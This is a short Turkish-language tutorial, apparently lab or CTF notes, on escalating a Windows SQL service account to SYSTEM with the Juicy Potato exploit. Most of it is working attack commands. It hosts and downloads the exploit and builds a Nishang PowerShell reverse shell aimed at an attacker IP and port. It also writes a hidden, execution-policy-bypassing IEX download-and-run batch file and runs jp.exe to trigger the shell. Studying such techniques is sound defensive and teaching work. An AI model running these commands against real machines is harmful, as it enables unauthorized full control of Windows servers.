Juicy Potato ile Windows Yetki Yükseltme
Last updated
Last updated
Microsoft kaynaklı bir yapılandırma zafiyeti istismar edilecek ve NT AUTHORITY\SYSTEM yetkisi elde edilecektir.
Windows Server 2008 R2 üzerinde, Server 2012 ve Windows Server 2016’da zafiyet devam etmektedir. Windows bu zafiyeti Server 2019 ile düzelttiğini söylemektedir. Bu zafiyeti tetiklemek için hedef makine de bir kullanıcı shell’ine sahip olmamız gerekmektedir!
Bir servis kullanıcısının yetkisi kullanılarak hak yükseltmek için Juicy Potato adlı bir uygulama kullanılabilir. Juicy Potato ile hak yükseltebilmek için, bu uygulamayı çalıştıracak kullanıcının aşağıdaki proseslerden birisini çağırabilmesi gereklidir.
SeImpersonatePrivilege ya da SeAssignPrimaryTokenPrivilege.
SQL sunucu hizmetini veya IIS hizmetini çalıştıran kullanıcılar, genellikle tasarım gereği bu ayrıcalıklara sahiptir. Bu ayrıcalık, bir hizmetin sistemdeki diğer kullanıcıları taklit etmesine izin vermek için tasarlanmıştır. Juicy Potato, local privilegesları SYSTEM'e yükseltir.
Kali makinimize juicyi indirmemiz gerekiyor. Ardından indirdiğimiz bu uygulamayı kalide web server oluşturup (python -m SimpleHTTPServer 5555)
hedef makinemize atmak için şu komutu yazacağız. (ip adresi ve dosya konumu değişkendir.)
(new-object net.webclient).downloadfile('
, 'C:\Users\SQLService\Documents\jp.exe')
./jp.exe diye çalıştırdığımız da bize beklediği parametleri ve kullanabileceğimiz parametreleri gösterecektir.
Zorunlu 3 parametremiz var bunlar:
-t: yapacağı işlem şeklini soruyor. * yaparsak her şekilde dener.
-p: reverse almak için kullanılan program
-l: dinlenen port
Gelelim Invoke-PowerShell’e.
Önce Invoke-PowerShellTcp.ps1 komut dosyasını bulunduğumuz dizine kopyalıyoruz. Kopyalayalım bunu çünkü configde değişiklikler yapacağız.
cp ../../../nishang/Shells/Invoke-PowerShellTcp.ps1 . mv Invoke-PowerShellTcp.ps1 shell-2.ps1
Kopyaladığımız dosyanın sonuna şunu ekliyoruz (kendi ip adresimiz ve nc ile dinleyeceğimiz port) :
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.158.129 -Port 6666
6666 numaralı portumuzu reverse shell gelecek o yüzden bu portu dinlemeliyiz.
Şimdi bu dosyayı da karşı tarafa atmalıyız. Bu dosyayı indirmesi için bir Windows betiği hazırlıyoruz ve Windows makinemiz de şu komutu yazıyoruz.
echo "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile IEX(New-Object Net.WebClient).downloadString('http://192.168.158.129:5555/shell-2.ps1')" > shell.bat
dir ile kontrol edersek dosyanın gelmiş olacağını göreceğiz ve type ile bu dosyanın içeriğini okuyalım ve kopyalayıp kaliye shell.bat olarak kaydedelim.
Ardında şu komutu yazalım:
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.158.129:5555/shell.bat','C:\Users\SQLService\Documents\shell.bat')"
ve artık her şey hazır reverse shell alma zamanı!
./jp.exe -t * -p "./shell.bat" -l 4444
Not: Dosyanın kaliden windows'a geçme aşaması farklı şekillerde olabilir. Detaylı powershell komutları için:
Ref: